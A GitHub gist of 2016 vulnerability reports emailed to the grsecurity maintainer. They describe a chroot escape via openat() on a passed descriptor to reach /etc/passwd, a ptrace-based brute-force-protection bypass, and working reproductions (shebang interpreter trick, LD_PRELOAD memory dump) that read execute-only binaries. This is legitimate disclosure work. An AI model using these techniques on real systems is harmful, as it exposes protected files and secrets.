Created
April 12, 2016 22:25
-
-
Save thejh/9633539a83cc82d08314d09807ab793d to your computer and use it in GitHub Desktop.
grsecurity bug reports
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Date: Sun, 13 Mar 2016 12:11:28 +0100 | |
From: Jann Horn <jann@thejh.net> | |
To: [...], Brad Spengler <spender@grsecurity.net> | |
Subject: [...] vuln report | |
[...] | |
[...] instead of using | |
fchdir(), just open files outside the chroot directly using | |
openat(<received fd>, "../../../etc/passwd", ...) or so - it looks as if | |
grsecurity only catches fchdir() and not the other syscalls that can look | |
up paths relative to an fd? | |
[...] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Date: Sun, 28 Feb 2016 22:01:06 +0100 | |
From: Jann Horn <jann@thejh.net> | |
To: Brad Spengler <spender@grsecurity.net> | |
Subject: Re: GRKERNSEC_PTRACE_READEXEC bypasses | |
[...] | |
A related idea I had just now, but that I don't want to test at the moment | |
(because it's a bit tedious to implement): | |
It might be possible to bypass gr_handle_brute_attach() for attacking a | |
local setuid binary as follows: | |
- process A fork()s, creating process B | |
- process B waits for a ptracer | |
- process A attaches to process B via ptrace, then syscall-steps | |
- process B calls execl("/path/to/setuid", ...) | |
- process A injects code into B after execl() completed (or just injects | |
syscalls directly) | |
- injected code in process B fork()s, creating process C | |
- process C is not under ptrace and does execl("/path/to/setuid") | |
If I see this correctly, C will perform a normal setuid execution, but | |
if it crashes, gr_handle_brute_attach() should take the | |
`if (p->real_parent && gr_is_same_file(p->real_parent->exec_file, p->exec_file))` | |
branch (because B is C's parent and they share the exec_file), causing the | |
setuid banning in the other branch to be skipped, allowing an attacker to | |
bypass the bruteforce protection. | |
(But the error message would still be GR_BRUTE_SUID_MSG although | |
GR_BRUTE_DAEMON_MSG corresponds to the action actually taken.) | |
Would that work or did I overlook something? |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Date: Sun, 28 Feb 2016 19:08:22 +0100 | |
From: Jann Horn <jann@thejh.net> | |
To: Brad Spengler <spender@grsecurity.net> | |
Subject: GRKERNSEC_PTRACE_READEXEC bypasses | |
Hi! | |
While writing some new kernel documentation (not yet public, but will probably | |
soon be under Documentation/security/ptrace_checks.txt), I noticed that | |
GRKERNSEC_PTRACE_READEXEC has some issues. | |
I performed tests on a machine with the following setup: | |
kernel 4.4.2, grsec test patch 201602182048 | |
make defconfig | |
make menuconfig | |
security->grsecurity->grsecurity=yes | |
security->grsecurity->method=auto | |
security->grsecurity->virttype=guest | |
security->grsecurity->virtsoft=virtualbox | |
security->grsecurity->priorities=security | |
First method: You can bypass it by using the target binary as interpreter because | |
gr_ptrace_readexec() is only called before the first binfmt handler runs, not for | |
later open_exec() invocations. To repro: | |
test.c (compile it to get the "test" binary): | |
#include <sys/types.h> | |
#include <sys/stat.h> | |
#include <fcntl.h> | |
#include <unistd.h> | |
int main(int argc, char **argv) { | |
int fd = open("/dev/null", O_WRONLY); | |
if (fd == -1) return 1; | |
write(fd, "THIS IS SECRET", 14); | |
return 0; | |
} | |
test.sh: | |
#!./test | |
listing: | |
-rwx--x--x 1 root root 6896 Feb 28 18:37 test | |
-rw------- 1 root root 233 Feb 28 18:37 test.c | |
-rwxr-xr-x 1 user user 9 Feb 28 18:32 test.sh | |
`./test` works, `strace ./test` is blocked, `strace ./test.sh` works and | |
shows the "THIS IS SECRET" string. | |
Second method: | |
While the executed binary is nondumpable, it isn't executed under secure exec | |
rules - those two are separate and enabled in different cases (although it's | |
probably a bad idea to do it that way). Therefore, LD_PRELOAD still works: | |
user@debian:/tmp$ ls -l | |
insgesamt 40 | |
-rw-r--r-- 1 user user 154 Feb 28 19:00 loadme.c | |
-rwx--x--x 1 root root 6896 Feb 28 18:37 test | |
-rw------- 1 root root 233 Feb 28 18:37 test.c | |
user@debian:/tmp$ cat loadme.c | |
#include <stdio.h> | |
__attribute__((constructor)) static void f(void) { | |
setbuf(stdout, NULL); | |
char *p = (void*)0x400000; | |
while (1) putchar(*(p++)); | |
} | |
user@debian:/tmp$ gcc -shared -o loadme.so loadme.c -fPIC | |
user@debian:/tmp$ (LD_PRELOAD=./loadme.so ./test) | strings | |
/lib64/ld-linux-x86-64.so.2 | |
libc.so.6 | |
[...] | |
/dev/null | |
THIS IS SECRET | |
;*3$" | |
[...] | |
(I wrote about the second method in the new documentation, then realized | |
that it applies to grsec.) | |
(You could do more tricks if unprivileged user namespaces were turned on.) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment